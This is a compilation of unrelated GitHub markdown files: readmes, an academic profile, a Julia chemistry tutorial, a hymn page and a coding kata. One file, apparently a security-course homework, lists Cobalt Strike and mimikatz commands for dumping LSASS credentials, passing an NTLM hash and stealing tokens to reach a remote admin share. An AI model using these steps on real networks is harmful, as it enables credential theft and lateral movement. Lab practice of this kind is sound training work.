Just try it yourself: you just need two pcs, two webcams, one router and 15 minutes to spare: follow the instructions on INSTALL.

# You said something about customization?

Take a look at 'skins/fallout': it's a super simple costumization to achieve a "fallout terminal" look.
You can add new skins in the same way, for example if you want to achieve a militaristic or a scifi look, based on the theme of your LARP!
Then just activate them by changing 'skins/config.js', and commit them to the repo so that we can all share them ;)

repository: LoSkana/larp-video-chat

repo_name: LoSkana/larp-video-chat


text:
# Debugging

to be able to start debugging or building the extensions.

In the terminal type the following lines:

```
npm install -g vsce
npm install
```


text:
---
# Display name
title: Chris Lindgren

# Is this the primary user of the site?
superuser: true

# Role/position/tagline
role: Professor of Technical Communication and Data Visualization

# Organizations/Affiliations to show in About widget
organizations:
- name: Virginia Tech
  url: https://liberalarts.vt.edu/departments-and-schools/department-of-english/faculty/chris-aaron-lindgren.html

# Short bio (displayed in user profile at end of posts)
bio: My research interests include the relations created when writing code and theorizing the digital cultural rhetorics of white supremacy in the United States.

# Interests to show in About widget
interests:
- computer coding as writing with data
- critical data studies
- digital cultural rhetoric
- coding literacy
- materiality of writing
- data processing and analysis

# Education to show in About widget
# education:
#   courses:
#   - course: PhD in Rhetoric and Scientific and Technical Communication
#     institution: University of Minnesota -- Twin-Cities
#     year: 2017
#   - course: MA in English - Composition Studies
#     institution: North Dakota State University
#     year: 2012
#   - course: BA in English
#     institution: North Dakota State University
#     year: 2004

# Social/Academic Networking
# For available icons, see: https://sourcethemes.com/academic/docs/page-builder/#icons
#   For an email link, use "fas" icon pack, "envelope" icon, and a link in the
#   form<EMAIL_ADDRESS>or "/#contact" for contact widget.
social:
- icon: envelope
  icon_pack: fas
  link: '/#contact'
- icon: twitter
  icon_pack: fab
  link: https://twitter.com/lndgrn
- icon: graduation-cap  # Alternatively, use `google-scholar` icon from `ai` icon pack
  icon_pack: fas
  link: https://scholar.google.com/citations?user=--EL_Y8AAAAJ&hl=en
- icon: github
  icon_pack: fab
  link: https://github.com/lingeringcode
- icon: linkedin
  icon_pack: fab
  link: https://www.linkedin.com/in/lindgrenchris/

# Link to a PDF of your resume/CV.
# To use: copy your resume to `static/media/resume.pdf`, enable `ai` icons in `params.toml`,
# and uncomment the lines below.
# - icon: cv
#   icon_pack: ai
#   link: media/resume.pdf

# Enter email to display Gravatar (if Gravatar enabled in Config)
email<EMAIL_ADDRESS>
# Highlight the author in author lists? (true/false)
highlight_name: true
---

I'm an Assistant Professor of Technical Communication & Data Visualization in the English Department at Virginia Tech, where I teach courses in technical communication, literacies, and digital-cultural rhetorics of technology.

My research engages questions that frame computer coding as a culturally dynamic form of writing with data, as opposed to simply a result of automated technology alone. You can learn more about this way of understanding coding through my article, '[Writing with data: A study of coding on a data-journalism team](https://doi.org/10.1177/0741088320968061)," which:

- Provides an unusual case of a developer on a data-journalism team, processing and analyzing data sets to support journalistic inquiry, rather than widely studied software development;
- Presents a writing practice framework to guide situated studies that examine how people integrate their historical, social, and technical ideas together as they conduct their coding activity; and
- Offers researchers and practitioners concepts that sensitize us to the relations people develop and coordinate as they write code that writes data at scale.

I also apply computational social science methods to feminist and anti-racist rhetorical theories, as a means to differently understand social relationships in digital environments. I am currently collaborating on 3 such projects:

  1. A case-study of 3 Twitter hashtag groups, each of which responded to Trump's plans to build the border wall before, during, and after his administration's zero-tolerance immigration policy that separated children from their families: #FamiliesBelongTogether, #BuildTheWall, and environmentalists opposed to the borderwall. We are examining user participation across these hashtag groups, and their respective rhetorical framing of the issue, to better understand how digital platforms actually "redraw" material nation-state borders on their platforms, which impacts digital activism.
  2. A citation politics study in my discipline of Writing & Rhetoric, which aims at monitoring and addressing any issues with the frequency and manner by which scholars who are multiply marginalized are cited and taken up over time and in particular journals.
  3. An Inuit-led rematriation project that will develop a digital community-learning archive that centers their communities' needs. We aim at bringing back Inuit knowledges that have been studied and discussed by academics but only for academics.

{{< staticref "media/clindgrencv.pdf" "newtab" >}} {{< icon name="download" pack="fas" >}} Download my CV{{< /staticref >}}.

repository: lingeringcode/clndgrn

gha_language: TeX

repo_name: lingeringcode/clndgrn


text:
## Homework #6
***
pass-the-hash (PTH) with mimikatz in your AD env by following this:
https://blog.cobaltstrike.com/2015/05/21/how-to-pass-the-hash-with-mimikatz/

I will dump creds from LSASS to get my domain account hashes. This is because I am going to PTH to another domain computer with a different local user/password. For local user accounts you can use `hashdump`. You can view the captured credentials under View -> Credentials.
```
beacon> logonpasswords
```

Create a trust relationship from a username and password hash.
```
beacon> mimikatz sekurlsa::pth /user:Administrator /domain:WIND.local /ntlm:<ntlmhashhere> /run:"powershell -w hidden"
```

Steal the token from the PID created by mimikatz.
```
beacon> steal_token <PID#here>
```

Test token on remote machine.
```
beacon> shell dir \\CFC-Win10-02\C$
```

### References
Need to have administrator beacon. Troubleshooting article here.
https://blog.cobaltstrike.com/2015/12/16/windows-access-tokens-and-alternate-credentials/

Kandy Walkthrough of PTH
https://www.youtube.com/watch?v=GmrPHD7k7W0&t=424s


text:
# Tutorial

```@contents
Pages = ["tutorial.md"]
Depth = 3
```

!!! note
    This tutorial is currently focused on [`AtomGraph`](@ref) objects, featurized using [`ElementFeatureDescriptor`](@ref)s in a [`GraphNodeFeaturization`](@ref), because these are the functionalities that are currently fully built, but we anticipate expanding it as more things are finished!

## Creating/reading in a structure

```@meta
DocTestSetup = quote
    using ChemistryFeaturization
end
```

### Create "from scratch"

We can build an `AtomGraph` "manually," by specifying an adjacency matrix and directly building the graph from that. Here I'll build a fictitious graph that's just an equiweighted triangle of carbon atoms:

```jldoctest fzn
julia> adj_mat = Float32.([0 1 1; 1 0 1; 1 1 0]);

julia> triangle_C = AtomGraph(adj_mat, ["C", "C", "C"])
AtomGraph  with 3 nodes, 3 edges
	atoms: ["C", "C", "C"]
```

If you're working in an IDE that supports graphics output, you can also call `visualize(triangle_C)` to see the "ball-and-stick" graph.

### Reading from file

In a "real" application, you'll likely be reading structures from files such as .cif, .xyz, etc. Here, we'll read in the structure of WS2, downloaded from the [Materials Project](https://materialsproject.org):

```jldoctest WS2; setup=:(cd("./src/files/"))
julia> WS2 = AtomGraph("mp-224.cif")
AtomGraph mp-224 with 6 nodes, 9 edges
	atoms: ["W", "W", "S", "S", "S", "S"]

```

The graph is automatically assigned an `id` based on the filename it was read from, but you can pass a value to override this and name it something else.

If you visualize this graph as above, you'll notice that it has two disconnected components. This isn't too surprising if we look at the 3D structure of this compound:
![WS2_structure](files/mp-224.png)
It's a two-dimensional material with two formula units per unit cell! Another way to see the disconnectedness of the graph is to index into the adjacency matrix in a particularly illustrative order:

```jldoctest WS2
julia> WS2.graph[[1,4,6,2,3,5]].weights
6×6 SparseArrays.SparseMatrixCSC{Float64, Int64} with 18 stored entries:
 1.0     0.9732   0.9732    ⋅       ⋅        ⋅
 0.9732  1.0      0.17143   ⋅       ⋅        ⋅
 0.9732  0.17143  1.0       ⋅       ⋅        ⋅
  ⋅       ⋅        ⋅       1.0     0.9732   0.9732
  ⋅       ⋅        ⋅       0.9732  1.0      0.17143
  ⋅       ⋅        ⋅       0.9732  0.17143  1.0

```

However, we have options in how we actually construct the graph. The default option is based on the scheme from [the original cgcnn.py implementation](https://github.com/txie-93/cgcnn), which essentially involves setting a maximum neighbor distance and a maximum number of neighbors. However, in contrast to that implementation, we construct weighted graphs (with the user having an ability to specify the weight decay function with separation distance; it defaults to inverse-square).

An arguably more physical way to construct neighbor lists and graphs is by doing a [Voronoi partition](https://en.wikipedia.org/wiki/Voronoi_diagram) of the atomic coordinates. In this scheme, the neighbor list of an atom is any atom with which its Voronoi polyhedron shares a face, and the edge weights can be determined using the areas of the faces. Let's try that with our WS2 structure...

```jldoctest WS2v
julia> WS2_v = AtomGraph(joinpath("..", "files", "mp-224.cif"), use_voronoi=true);

julia> WS2_v.graph[[1,4,6,2,3,5]].weights
6×6 SparseArrays.SparseMatrixCSC{Float64, Int64} with 22 stored entries:
 0.371678  0.970447   0.970447    ⋅         ⋅          ⋅
 0.970447  1.0        0.0231855   ⋅         ⋅         0.31894
 0.970447  0.0231855  1.0         ⋅        0.31894     ⋅
  ⋅         ⋅          ⋅         0.371678  0.970447   0.970447
  ⋅         ⋅         0.31894    0.970447  1.0        0.0231855
  ⋅        0.31894     ⋅         0.970447  0.0231855  1.0
```

(You can, of course, also visualize this one in your IDE)

### Batch processing

One final note for this section: the `AtomGraph` constructor broadcasts! So if you have a directory full of structure files (say, `strucs/`), you can get a list of `AtomGraph` objects by:
```
ags = AtomGraph.(readdir("strucs/", join=true))
```

## Building feature descriptors

What types of features of our structure do we want to encode in our graph? Let's keep things simple for now and consider features that can be encoded only by knowing the elemental identity of a given atom (node in our graph). The package includes a bunch of built-in data, and you can also provide your own for features we haven't included!

We can easily construct these for built-in features...

```jldoctest fzn; setup=:(cd("../../"))
julia> block = ElementFeatureDescriptor("Block") # categorical feature denoting s-, p-, d-, or f-block elements
ElementFeature Block:
   categorical: true
   encoded length: 4

julia> amass = ElementFeatureDescriptor("Atomic mass") # continuous-valued feature
ElementFeature Atomic mass:
   categorical: false
   encoded length: 10
```

But suppose you have another feature that's not included. You can easily provide a lookup table (or even an entire custom encoding function!) yourself, like so...

```jldoctest fzn
julia> using DataFrames;

julia> lookup_table = DataFrame(["C" 42; "As" 0], [:Symbol, :MeaningOfLife]); # make a custom lookup table for another feature

julia> meaning = ElementFeatureDescriptor("MeaningOfLife", lookup_table)
ElementFeature MeaningOfLife:
   categorical: true
   encoded length: 2
```

Note that by default, because there are a small number of possible values, ChemistryFeaturization assumes that we'd like to encode this feature categorically, i.e. one "bin" in a one-hot vector for every possible value. Suppose we instead wanted to encode it continuously and specify a number of bins to divide the range into. We can do that like this (here I also show how to change the number of bins for continuous-valued features, which defaults to 10):

```jldoctest fzn
julia> meaning = ElementFeatureDescriptor("MeaningOfLife", lookup_table, categorical=false, nbins=3)
ElementFeature MeaningOfLife:
   categorical: false
   encoded length: 3
```

## Building a featurization

Next, we can combine these feature descriptors into a _featurization object_, which allows convenient encoding of multiple features on a structure, and also combining of those encoded features in a manner appropriate for feeding into a model. In the case of `GraphNodeFeaturization`, we construct a column vector for each node in an `AtomGraph` by concatenating encoded features together, and then stack these vectors horizontally to form a feature matrix that we could feed into an AtomicGraphNets model.

This featurization has a convenience constructor that will build the `ElementFeatureDescriptor`s if you just pass in names of features, but with our custom lookup table feature, we will construct it by directly passing the feature descriptors:

```jldoctest fzn
julia> fzn = GraphNodeFeaturization([block, amass, meaning])
GraphNodeFeaturization encoding 3 features:
	ElementFeature Block
	ElementFeature Atomic mass
	ElementFeature MeaningOfLife
```

## Featurizing structures

Okay, now we're ready to encode the values of our features! Note that we can encode feature descriptors individually with two different syntax options (we'll use the same `triangle_C` graph we built above)...

```jldoctest fzn
julia> encode(block, triangle_C) # calling the encode fcn
4×3 Matrix{Float64}:
 0.0  0.0  0.0
 1.0  1.0  1.0
 0.0  0.0  0.0
 0.0  0.0  0.0

julia> block(triangle_C) # object itself is callable to give value
3-element Vector{String}:
 "p"
 "p"
 "p"

Let's encode the whole featurization!

```jldoctest fzn
julia> encode(fzn, triangle_C)
17×3 Matrix{Float64}:
 0.0  0.0  0.0
 1.0  1.0  1.0
 0.0  0.0  0.0
 0.0  0.0  0.0
 0.0  0.0  0.0
 0.0  0.0  0.0
 0.0  0.0  0.0
 0.0  0.0  0.0
 1.0  1.0  1.0
 0.0  0.0  0.0
 0.0  0.0  0.0
 0.0  0.0  0.0
 0.0  0.0  0.0
 0.0  0.0  0.0
 0.0  0.0  0.0
 0.0  0.0  0.0
 1.0  1.0  1.0
```

If we want to attach the encoded features to the graph, we can use the `featurize` function, which returns a `FeaturizedAtoms` object...

```jldoctest fzn
julia> featurized = featurize(triangle_C, fzn)
FeaturizedAtoms{AtomGraph, GraphNodeFeaturization} with 17 x 3 encoded features:
	Atoms: AtomGraph  with 3 nodes, 3 edges
	Featurization: GraphNodeFeaturization encoding 3 features
```

## Decoding encoded features

If we have a `FeaturizedAtoms` object, we can decode it directly:
```jldoctest fzn
julia> collect(decode(featurized)) # collect as the is result is truncated in the doctest for `decode(featurized)`
3-element Vector{Pair{Integer, Dict{String, Any}}}:
 2 => Dict("MeaningOfLife" => (28.0, 42.0), "Block" => "p", "Atomic mass" => (9.319257777745117, 16.250547067714365))
 3 => Dict("MeaningOfLife" => (28.0, 42.0), "Block" => "p", "Atomic mass" => (9.319257777745117, 16.250547067714365))
 1 => Dict("MeaningOfLife" => (28.0, 42.0), "Block" => "p", "Atomic mass" => (9.319257777745117, 16.250547067714365))

julia> typeof(decode(featurized)) # check type here, as the above doctest performs `collect` and returns a different type
Dict{Integer, Dict{String, Any}}
```

The `decode` function also works with encoded features and a feature descriptor or featurization passed in separately.


text:
# What is this repository?

This repository should be used for system debugging oder cluster management scripts.
Whenever you have a task that can't be done with our croit interface, you can write a script, put it here and make it available to all croit users.

# Requirements

Each script should run on it's own and only provide a single task.
No external dependencys other than existing tools of our croit docker container should be used.

# Return code and messages

As we do like to make all of our functions easy usable and keep automateing simple, please return json output if possible or sane.

# Copyright and license

All code and scripts are licenced under MIT license.
If you don't aggree to the MIT license, don't upload code to this repository.

# croit GmbH

croit GmbH develops a professional Ceph Storage Management solution that enables the operation of storage clusters simply and reliably.
The scripts contained here only work in conjunction with our software.
Further information and a free Community Edition can be found at [croit.io](https://croit.io).

repository: emmericp/croit-scripts

repo_name: emmericp/croit-scripts


text:
# Update: [CL-CXX-JIT](https://github.com/Islam0mar/CL-CXX-JIT) is the new project to make the process easier example: `(from '("<cmath>") 'import '("static_cast<double(*)(double)>(std::sin)" . "cpp-sin")),` then can be called with`(cpp-sin 0d0)`.
# CL-CXX - Common Lisp wrappers for C++

This library provides an interface to C++ from lisp. It was inspired by Julia's [libcxxwrap](https://github.com/JuliaInterop/libcxxwrap-julia), and that projects documentation is a good reference for the architecture and ideas in this library.

## Prerequisites

- [CLCXX](https://github.com/Islam0mar/CLCXX) is installed

## Installation

Clone into home/common-lisp directory. Then `asdf:test-system "cxx"`

## Supported Types

* Fundamental types
* Pointers
* Classes can add public members and functions
* POD
* functions, std::function and lambda

## A Small Example
First you will need to create a C++ glue library that CFF will use when calling C++ functions from Lisp. Compile the code below as a shared library say, libtest.so or libtest.dylib. The commands to do this will vary by compiler and operating system. For testing, it is always good to put the library in the same directory as the lisp code, and ensure that you set the current working directory in your Lisp image. CFFI can take some fiddling to find all the dependencies. This is not unique to this project, all Lisp C/C++ bindings with CFFI have the same requirements.

### The C++ Side of the Equation
```c++
#include <string>
#include "clcxx/clcxx.hpp"

std::string greet() { return "Hello, World"; }
int Int(int x) { return x + 100; }
float Float(float y) { return y + 100.34; }
auto gr(std::complex<float> x) { return x; }
std::string hi(char* s) { return std::string("hi, " + std::string(s)); }
void ref_int(int& x) { x += 30; }
void ref_class(xx& x) { x.y = 1000000; }
class xx {
 public:
  xx(int xx, int yy) : y(yy), x(xx) {}
  std::string greet() { return "Hello, World"; }
  int y;
  int x;
};

CLCXX_PACKAGE TEST(clcxx::Package& pack) {
  pack.defun("hi", &hi);
  pack.defun("test-int", &Int);
  pack.defun("greet", &greet);
  pack.defun("test-float", &Float);
  pack.defun("test-complex", &gr);
  pack.defun("ref-int", &ref_int);
  pack.defun("ref-class", &ref_class);
  pack.defclass<xx, false>("xx")
      .member("y", &xx::y)
      .defmethod("foo", &xx::greet)
      .constructor<int, int>();
}
```

### The Lisp Side of Things
You should walk through the commands below in the REPL to get an idea of how the bindings work. Before you start, ensure you have the dependencies loaded:

```common lisp
(ql:quickload "cffi")
(ql:quickload "cxx")
```

```common lisp
(defpackage cxx/test
  (:use :cl))
(in-package :cxx/test)

;;; Change the pathname to match that of your system.
(pushnew (merge-pathnames #p"ros/lisp-demo/lib/" (user-homedir-pathname))
         cffi:*foreign-library-directories*
         :test #'equal)

(cffi:define-foreign-library my-lib
  (t (:default "libtest")))

(cffi:use-foreign-library my-lib)

(cxx:init)

(cxx:add-package "TEST" "TEST")

(test:greet)

(test:hi "Cxx")
```

## Usage

See test files or the [cl-cxx-eigen](https://github.com/Islam0mar/cl-cxx-eigen) project for further examples.

### NOTE

Tested on:
* SBCL 1.4.5 on debian
* CCL  1.12  on MacOS 10.13.6

## TODO

- [x] test functions
- [x] classes
- [x] references
- [ ] Smart pointers
- [ ] Tuple
- [ ] benchmark

## Copyright

Copyright (c) 2018 Islam Omar<EMAIL_ADDRESS>
## License

Licensed under the MIT License.

repository: pjotrp/cl-cxx

extension: markdown

repo_name: pjotrp/cl-cxx


text:
---
title: |
    302. No Other Name - Christ in Song
metadata:
    description: |
        Christ in Song 302. No Other Name. There's no other name like Jesus, 'Tis the dearest name we know, 'Tis the angels' joy in heaven, 'Tis the Christian's joy below.
    keywords:  |
        Christ in Song, adventhymnals, advent hymnals, No Other Name, There's no other name like Jesus. Sweet name, dear name,
    author: Brian Onang'o
---

#### Advent Hymnals
## 302. NO OTHER NAME
####  Christ in Song,

```txt
1.
There's no other name like Jesus,
'Tis the dearest name we know,
'Tis the angels' joy in heaven,
'Tis the Christian's joy below.

Refrain:
Sweet name, dear name,
There's no other name like Jesus;
Sweet name, dear name,
There's no other name like Jesus.

2.
There's no other name like Jesus
When the heart with grief is sad,
There's no other name like Jesus,
When the heart is free and glad.  [Refrain]

3.
'Tis the hope that I shall see Him,
When in glory He appears,
'Tis the hope to hear His welcome,
That my fainting spirit cheers.  [Refrain]

4.
If He wills that I should labor
In His vineyard day by day,
Then 'tis well if only Jesus'
Blesses all I do or say.  [Refrain]

5.
If He wills that death's cold finger
Touch my feeble, mortal clay,
Then 'tis well if only Jesus
Is my dying trust and stay.  [Refrain]

```

- |   -  |
-------------|------------|
Title | No Other Name |
Key | G Major |
Titles | Sweet name, dear name, |
First Line | There's no other name like Jesus |
Author | F. E. B.
Year | 1908
Composer| F. E. Belden |
Hymnal|  - |
Tune| There's no other name like Jesus |
Metrical pattern | |
# Stanzas |  |
Chorus |  |
Chorus Type |  |
Subjects | Christ: Praise to Christ |
Texts | undefined |
Print Texts |
Scripture Song |  |

repository: GospelSounders/adventhymnals

repo_name: GospelSounders/adventhymnals


text:
# [Third Angle of a Triangle](https://www.codewars.com/kata/5a023c426975981341000014)
You are given two interior angles (in degrees) of a triangle.

Write a function to return the 3rd.

Note: only positive integers will be tested.

https://en.wikipedia.org/wiki/Triangle

url: https://raw.githubusercontent.com/anthonyjatoba/codewars/76b0d66dd1ba76a4d136b658920cdf85fd5c4b06/8 kyu/Third Angle of a Triangle/README.md

repository: anthonyjatoba/codewars

repo_name: anthonyjatoba/codewars